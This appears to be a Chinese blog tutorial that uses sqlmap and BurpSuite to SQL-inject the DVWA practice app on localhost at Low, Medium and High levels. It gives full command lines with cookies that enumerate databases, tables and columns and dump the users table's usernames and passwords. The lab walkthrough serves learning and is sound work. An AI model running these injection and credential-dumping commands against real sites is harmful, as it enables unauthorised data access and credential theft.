SQLMap 注入 DVWA实战
SQLMap 注入 DVWA实战
SQLMap & DVWA Low等级
测试对象:DVWA漏洞系统
防御等级:Low
防御等级描述:低-此安全级别完全脆弱,根本没有任何安全措施。它的用途是作为网络应用程序漏洞如何通过不良编码实践表现出来的示例,并用作教授或学习基本利用技术的平台。
工具:SQLMap
本机URL:点击这里
开始
首先在这个页面上点击Submit

可以得到下面的链接
首先可以把这个链接直接用SQLMap的方式进行爆破
sqlmap -u "http://localhost/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#"
根据得到的结果,如图所示

我们可以看到需要跳转到login的页面,所以,认为这里是需要cookie的,所以,在这里我们查看cookie后,可以加上最需要的部分。(这里的phpstorm和Webstrom应该是IDE造成的,我们进行注入是不需要这些的)

在命令行输入以下代码:
sqlmap -u "http://localhost/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="PHPSESSID=v1d47lav6lot63v45vif84lren;security=low"
如果不想输入过多的Y/N可以在最后加上 -batch 但是这样是不推荐的,因为你可能会因此错过什么。
查看数据库的话 在最后加上 --dbs就可以
sqlmap -u "http://localhost/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="PHPSESSID=v1d47lav6lot63v45vif84lren;security=low" --dbs
然后你可以得到下面的结果:

根据上图显示我们可以看到我们在服务器上所有的数据库,然后根据分析或者简单的穷举可以找到我们想要进行爆破的数据库
爆破表
根据上面的描述,我们已经获取了数据库名DVWA,接下来可以继续通过SQLMap的强大功能对想要的数据进行提取。
首先我们需要找到需要的表。
参数 -D(指定数据库名) 和 --tables 是一起使用的。
sqlmap -u "http://localhost/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="PHPSESSID=v1d47lav6lot63v45vif84lren;security=low" -D dvwa --tables

我们可以看到这个数据库中表,接下来我们想做的就是找到正确的表并且找到他的列,也就是爆破列。
爆破列
进行爆破列所需要的主要参数就是 -T(指定表的名) 和 --columns
sqlmap -u "http://localhost/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="PHPSESSID=v1d47lav6lot63v45vif84lren;security=low" -D dvwa -T users --columns

同样看到这个表的结构,与在sql命令行中得到的结构是类似的。
然后最后一步 爆破字段 这样我们就可以得到所需要的字段的值。
爆破字段
所需要的重要参数 -C(指定字段名,用,隔开) dump一起使用
sqlmap -u "http://localhost/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="PHPSESSID=v1d47lav6lot63v45vif84lren;security=low" -D dvwa -T users -C user,password --dump


It's running now, and you'll get what you want.
他也会生成一个文件,用来保存我们得到的数据。

SQLMap & DVWA Mdeidum等级
测试对象:DVWA漏洞系统
防御等级:Medium
防御等级描述:中-此设置主要是为了向不良示例的用户提供示例,其中开发人员尝试了但未能保护应用程序的安全。它还对用户完善自己的开发技术构成了挑战。
工具:SQLMap & BurpSuite
本机URL:点击这里
Medium开始啦
这里我们看到打开页面点击submit可以看到如下的界面,url并没有发生变化,所以这里我们采用 BurpSuite进行抓包分析,来查看post方式提交的数据,然后根据与上述 low 方式下的sqlmap的操作。


但是由于这里是使用 post 方式进行传输的,所以我们这里需要使用 --data 参数 把 数据引入过来
这里本人直接进行操作了,查看数据库


sqlmap -u "http://localhost/dvwa/vulnerabilities/sqli/" --data="id=1&Submit=Submit" --cookie="security=medium; PHPSESSID=sn535dq4ec4kv2hi50oeltrua9" --dbs
可以看到如下图的结果
接下来的步骤和上述 Low 的一样,在此就不一一赘述,最终可以得到相同的结果。
sqlmap -u "http://localhost/dvwa/vulnerabilities/sqli/" --data="id=1&Submit=Submit" --cookie="security=medium; PHPSESSID=sn535dq4ec4kv2hi50oeltrua9" -D dvwa -T users -C user,password --dump

SQLMap & DVWA High等级
测试对象:DVWA漏洞系统
防御等级High
防御等级描述:高-此选项是对中等难度的扩展,其中包含尝试保护代码的更困难或替代的不良做法。该漏洞可能不允许相同程度的利用,类似于各种“夺旗”(CTF)竞赛中的情形。
工具:SQLMap & BurpSuite
本机URL:点击这里
开始 High等级
首先我们注意到这个页面,点击之后会跳转到另外一个页面,所以这个如果想使用sqlmap进行爆破,我们还需要引入一个知识点(参考别人的博客得到):
--second-order(二阶sql注入)
有些时候注入点输入的数据看返回结果的时候并不是当前的页面,而是另外的一个页面,这时候就需要你指定到哪个页面获取响应判断真假。-–second-order后面跟一个判断页面的URL地址。 (来自简书 作者 m3lon)
首先我们还是通过burpsuite进行抓包,因为这里仍然无法在页面上获取 post 或者 get 的值。



看到抓包信息后,我们发现与 Medium 中的是类似的,所以我们可以使用sqlmap 来进行接下来的步骤。
首先判断注入点
sqlmap -u "http://localhost/dvwa/vulnerabilities/sqli/session-input.php" --data="id=2&Submit=Submit" --cookie="security=high; PHPSESSID=sn535dq4ec4kv2hi50oeltrua9" --second-url "http://localhost/dvwa/vulnerabilities/sqli/" --dbs
我们发现可以完成注入了
与上面的过程一样,我们同样可以完成数据的获取
sqlmap -u "http://localhost/dvwa/vulnerabilities/sqli/session-input.php" --data="id=2&Submit=Submit" --cookie="security=high; PHPSESSID=sn535dq4ec4kv2hi50oeltrua9" --second-url "http://localhost/dvwa/vulnerabilities/sqli/" -D dvwa -T users -C user,password --dump


浙公网安备 33010602011771号